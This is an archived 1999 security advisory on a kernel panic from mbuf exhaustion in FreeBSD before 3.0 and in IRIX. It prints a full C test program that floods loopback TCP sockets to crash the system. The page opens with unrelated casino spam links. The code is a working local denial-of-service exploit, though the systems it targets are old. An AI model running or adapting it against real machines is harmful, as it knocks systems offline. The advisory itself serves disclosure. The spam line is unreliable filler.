Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
7th May 1999 [SBWID-110]
COMMAND
	    kernel (mbuf)
SYSTEMS AFFECTED
	    FreeBSD prior to 3.0, IRIX
PROBLEM
	    David G. Andersen and Don  Lewis found following.  FreeBSD  panics
	    caused by running  out of mbuf  clusters.  There's  another fairly
	    easy way to exploit this on  pre-3.0 systems, as an aside, but  it
	    requires either a fairly slow server process (or one which you can
	    force to block), or local access.  The process is simple:
	
	    - connect
	    - send a big chunk of data which causes the TCP socket buffers  to
	      fill up before the remote process read()s it
	    - panic().
	
	    The bug was actually pointed out in an indirect way by the  author
	    of a paper at sigcomm, who noticed the phenomenon in NetBSD  while
	    they were rewriting  the buffer management  routines.  Below  is a
	    small test program for it.  It also seems to affect IRIX  systems,
	    resulting in  a hung  system.   This test  programs (local  users)
	    creates a socket,  listen()s on it,  and does nothing.   The other
	    process connects to this socket, and sends a bunch of junk.   This
	    was tested  against an  early, early  version of  3.0-current, and
	    it appeared to be fixed.  Linux and AIX proved happy with it.
	
	    /* Test program for TCP buffer overflow mbuf panic */
	    /* Dave Andersen - [email protected] */
	    /* netbuf.c - gcc netbuf.c -o netbuf */
	    #include <sys/types.h>
	    #include <stdio.h>
	    #include <stdlib.h>
	    #include <sys/socket.h>
	    #include <netinet/in.h>
	    #define MAXSOCK 500
	    #define MY_BUFSIZE 32768
	    #define MAGICPORT 29833
	    #ifndef INADDR_LOOPBACK
	    #define INADDR_LOOPBACK 0x7f000001
	    #endif
	    /*
	     * Compiling:
	     *   FreeBSD, AIX:  -DHAS_SIN_LEN
	     *   Linux, IRIX:
	     */
	    /*
	     * Vulnerable:
	     *  FreeBSD-2.x
	     *  IRIX
	     * Not vulnerable:
	     *  FreeBSD-3.0
	     *  Linux 2.0.30
	     *  AIX 4.1
	     */
	    struct sockaddr_in socka;
	    void doecho() {
		int ls;
		ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		bind(ls, &socka, sizeof(socka));
		listen(ls, MAXSOCK);
		while (1) {
		    sleep(1);
		}
	    }
	    int main(int argc, char **argv) {
		int kidpid;
		int sendsock[MAXSOCK], recvsock[MAXSOCK];
		int i;
		int sock;
		int socksize;
		char buf[MY_BUFSIZE];
		socksize = 1048576;
		bzero(&socka, sizeof(socka));
		socka.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	    #ifdef HAS_SIN_LEN
		socka.sin_len = sizeof(struct sockaddr_in);
	    #endif
		socka.sin_family = AF_INET ;
		socka.sin_port = htons(MAGICPORT);
		kidpid = fork();
		if (kidpid > 0) {
		    doecho();
		} else {
		    /* A vague, horrible excuse for synchronization.  This
		     * is a demonstration of a kernel flaw, not good coding
		     * style. :-) */
		    sleep(2);
		}
		for (i = 0; i < MAXSOCK; i++)
		{
		    /* Open the socket connection, set the socket option */
		    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		    setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &socksize, sizeof(socksize));
		    sendsock[i] = sock;
		    if (connect(sock, &socka, sizeof(socka))) {
			perror("could not connect");
		    }
		    printf("Opened\n");
		}
		printf("Starting the loop\n");
		while (1) {
		    for (i = 0; i < MAXSOCK; i++)
			write(sendsock[i], buf, MY_BUFSIZE);
		}
	    }
	
SOLUTION
	    It's fixed in 3.0ish systems.  Not sure what about IRIX.
	

Internet highlights